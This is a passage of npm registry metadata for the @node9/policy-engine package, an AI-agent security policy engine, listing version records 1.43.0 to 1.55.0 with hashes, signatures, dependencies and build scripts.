Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.43.0_1782555628507_0.12666201063213944","host":"s3://npm-registry-packages-npm-production"}},"1.44.0":{"name":"@node9/policy-engine","version":"1.44.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.44.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"05c06717be724ef7e4aff74131a7c99390265852","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.44.0.tgz","fileCount":7,"integrity":"sha512-DUYOgVVtrvD5JddI4Yrgr3VHSFuQ1jwkcEadeckObozEtDib1gPh6r+7bwY2T1aeFJD1zeml+NHS+yC9+n6Bmg==","signatures":[{"sig":"MEQCIE1N7xEDm5Q7OvLxM9zkIwyb+lMG4ltQtnR6p8Tj7nF7AiBFxSSPg7S+aWSV+FPsBTQ//iIXQJApL8MxUUGxXsoYdQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.44.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":363182},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0e4747b92a5d4b2f4f799321b5a9e2e666acd3ec","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.44.0_1782590454163_0.1951361481879983","host":"s3://npm-registry-packages-npm-production"}},"1.45.0":{"name":"@node9/policy-engine","version":"1.45.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.45.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"3ed7d235357fc05adada0269929571e6328f8cd0","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.45.0.tgz","fileCount":7,"integrity":"sha512-+4UtmvhZymIeYZMOKMOJmXLB0PrxDHIGUbUlkJlCkVpUjueL+WUOcE6Lgimxzt97XMv6exBrrHSrLZr+L6VsHQ==","signatures":[{"sig":"MEQCIGIBjYaInLCBCUPbDjrgRga9Fcpsuuk6j9vdwXTKyiLNAiBfncjidH05r+WO4xB+MU/yIoBpd348zH+PleLtnsiDTw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.45.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":363182},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9828764ebf5aef8b3ac94c4ba233186eaa9a9dc7","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.45.0_1782647686098_0.9588846590064557","host":"s3://npm-registry-packages-npm-production"}},"1.46.0":{"name":"@node9/policy-engine","version":"1.46.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.46.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"5cd72b0060ba3379c2fa282e40b35c8e49107c13","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.46.0.tgz","fileCount":7,"integrity":"sha512-YV5J2k3oMre1Y48+AY61Heo+zWraI5GsNJyIhT9YliFRtDu5kQzA+JFgo+nYwSC47mEFl8mF1hDJUhk4rXqoOw==","signatures":[{"sig":"MEQCIBm+FKguDkGL0H00GWRrOKtGdSUCpKKR7Im/9L8ITA6MAiAg7CwNccZ4/pYjFdyUOS0hs74qC6cVkxoegYMAz23OKg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.46.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"de3c661b9213f794e41092c09c4ee5031cbc66d2","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.46.0_1782717536469_0.27476223464033134","host":"s3://npm-registry-packages-npm-production"}},"1.47.0":{"name":"@node9/policy-engine","version":"1.47.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.47.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"78014f714ec54471751bc962e0508e1f4b705742","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.47.0.tgz","fileCount":7,"integrity":"sha512-+OCpECij7dDm4G5EYzGNGZ7RzH2quSMuuknUg2udWkmip2kV5DcZNYjU8Taz2PLCgi5Qy4I5wxTny8FpqWDylA==","signatures":[{"sig":"MEYCIQC4oJDEHTcEWU7/eacUHuJJaFlCHFXD9gyi0mCbX4CJOwIhAODnYxU9HQrYLXf9k+DhgvEZToIGiUsHNEZuC17zE+FQ","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.47.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"7ff5f8e1ae1e41e773654cf2cf23db93185e3b78","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.47.0_1782722725301_0.21545781765395944","host":"s3://npm-registry-packages-npm-production"}},"1.48.0":{"name":"@node9/policy-engine","version":"1.48.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.48.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"27d5496280269dd0d8b93f7505b8ad38fe32c1f3","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.48.0.tgz","fileCount":7,"integrity":"sha512-8FL/y5m8m8XwjmG9Y59SyDfNK9NXNe4vGnU2bNSwycMnLhbCAEYh8A1yq3i4w7XK/J2MUmHRnYI8ai+C/DDMXA==","signatures":[{"sig":"MEYCIQD/hYi+qmVUnQ9k0Xe3KHx3FcbsHbvSk47TZY60l41o9wIhAOG82+M//Eu2GH0TbVvMz1teiWc+ATTdfP5AgcxxOOUf","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.48.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1714a5959341acc68f4620b54e1fc24e56e3d0e8","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.48.0_1782724811686_0.4226927556606337","host":"s3://npm-registry-packages-npm-production"}},"1.49.0":{"name":"@node9/policy-engine","version":"1.49.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.49.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"ab7611a13ed91f365c9c1d4c7be8677112237539","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.49.0.tgz","fileCount":7,"integrity":"sha512-PEK/jk7NWD3IahXQa/zBlyLZ2gTKBe1uSkFB9k4RPsXbRRoH/EtdQ40vAtAQG9sXY9C83OzPC1eT/FACjRjpyw==","signatures":[{"sig":"MEQCIA1/rPGcre/4wFwsknHcUwruFCZkaINRJjyZNOBM5vJTAiAhrW+92CCvssgBfWFPRPuPw5euUVrQsRUOQsWcQVcKzw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.49.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1ba5ed0892ba98d190b2cf8c1c132cee6e439454","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.49.0_1782734777136_0.751574511335052","host":"s3://npm-registry-packages-npm-production"}},"1.50.0":{"name":"@node9/policy-engine","version":"1.50.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.50.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"fccb31c6824a5094a28b230e9f36627f9306646d","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.50.0.tgz","fileCount":7,"integrity":"sha512-3PajOMq2QKMsbkGBlZxoIFDUuxm8h/IZyXNEDb9X25L2uOD2GI0rF0v7zEgIqSAksByrzju60fturDnxWURozg==","signatures":[{"sig":"MEQCIHhIV5RmCHxFg+axkV7dsWD53Qq9G+b1n1WuXfWJbXKTAiAk1gtsDBxmVH8uKCAYbZvskTNI6/e7kztlGcOdm95xHQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.50.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"bfc7e4975111b4c08c567a8f7c5e7a210998745e","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.50.0_1782762603194_0.08863285445630953","host":"s3://npm-registry-packages-npm-production"}},"1.51.0":{"name":"@node9/policy-engine","version":"1.51.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.51.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"80c77fedfb7eb861a0406ca56dd15aa7dfb37dde","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.51.0.tgz","fileCount":7,"integrity":"sha512-MA+44i1aortHmwZIRSmgQ4rcfqDdk59d8/XUmMUHs0mcZvqkNujOHUgE41kvZkgGJS2AznzUwP5HQUpMDNHh7Q==","signatures":[{"sig":"MEUCIQCqV86lNh4BBPzpEWXaAsquILSE4Z4/eirtmsW85XScSQIgAOnUhmhiniYV9tDyn7BxZSz0bjyAql1BqqHHEOwP0XE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.51.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9ca27ee452b04111309aa74d2860bb2ccb89368b","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.51.0_1782763180234_0.6734036148866542","host":"s3://npm-registry-packages-npm-production"}},"1.52.0":{"name":"@node9/policy-engine","version":"1.52.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.52.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"3b9279b9b5cc0581b5722fc970d1ad2bb0518907","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.52.0.tgz","fileCount":7,"integrity":"sha512-715JGOlXABufVYLVwDCdEX2UFF7S/lUfqRZauHDJFH7qD/nb4OCxRMeYNbwoRFjqvrHgV7n/MpC3wtHFiFSYrw==","signatures":[{"sig":"MEYCIQDJHJExBGCwzf+5d9iW7SvJYauKJKTo7RgXuRnAS0RnLgIhAO7u4qcVIaHi4tlrugMjxkT8LWbs3a9Y/QKXeHveS7oY","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.52.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3e1c1f30805fd4c36c708599c3cdcfa7d4ea2a27","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.52.0_1782793451105_0.0799469148623504","host":"s3://npm-registry-packages-npm-production"}},"1.53.0":{"name":"@node9/policy-engine","version":"1.53.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.53.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"51e0f50799216700028ca24c3a6d2be7a1af1545","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.53.0.tgz","fileCount":7,"integrity":"sha512-ICLkza0KOZTbGHIGYgCxPfwLYjz3nuog2wdilwCIX/AqGPTP4CTZOd1fLxm/fVbC9+OgsWAbfxPsiqZJH5SuKA==","signatures":[{"sig":"MEQCICdTNo3z9NCE7DN8b0FaVu9p7HBVmc4Okla8yyFz+SW2AiAMdyJGIcDqKLUCKh8cEk8sY2tnU9GI7b+SPH/gj1QoYQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.53.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"312a817af107dc7495c1679911c17c853c693556","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.53.0_1782808504953_0.8410841652851937","host":"s3://npm-registry-packages-npm-production"}},"1.54.0":{"name":"@node9/policy-engine","version":"1.54.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.54.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"efbb69f84a2bd6b93e3938350aefbc3004ee3a1d","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.54.0.tgz","fileCount":7,"integrity":"sha512-C1pzzHzcJxsus5qnqU+kdHLLQjxMhUnEY/Fk3l31/CY4Vbn0hFVMKltMErQenoS00g1Jd22QEN2wy6IeTQsw1g==","signatures":[{"sig":"MEUCIQCNQ77CM5bdQRAz+xzV7ks/k8ucUV0VChea+AFmZIA5qAIgUx8dgqJUfPmRQJGyqQPky12TQcu/9+1TnzZj6KQCMgg=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.54.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"de7515eae7d6863fbca9d30c40f09720b5accee8","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.54.0_1782823382779_0.9433937516630329","host":"s3://npm-registry-packages-npm-production"}},"1.55.0":{"name":"@node9/policy-engine","version":"1.55.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.55.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"dfdf81b19ccf565ffcb17ac4b2575edecee84580","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.55.0.tgz","fileCount":7,"integrity":"sha512-hANyvJm3FI0L9vksRfLKcmKaxrn7UoSJngVE2gpwoHN1zH6fQMQtUh53KPu02mE80pHE2gjFPyDOHESPqid76w==","signatures":[{"sig":"MEQCIASF97elJh0LHFQ37osnIEuD08iKF1OkYKndCtLuRFA8AiBymbbo0By+VwPW4Nz3TQakBTmEvb3LZ3JkUgOlc3DYHQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.55.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.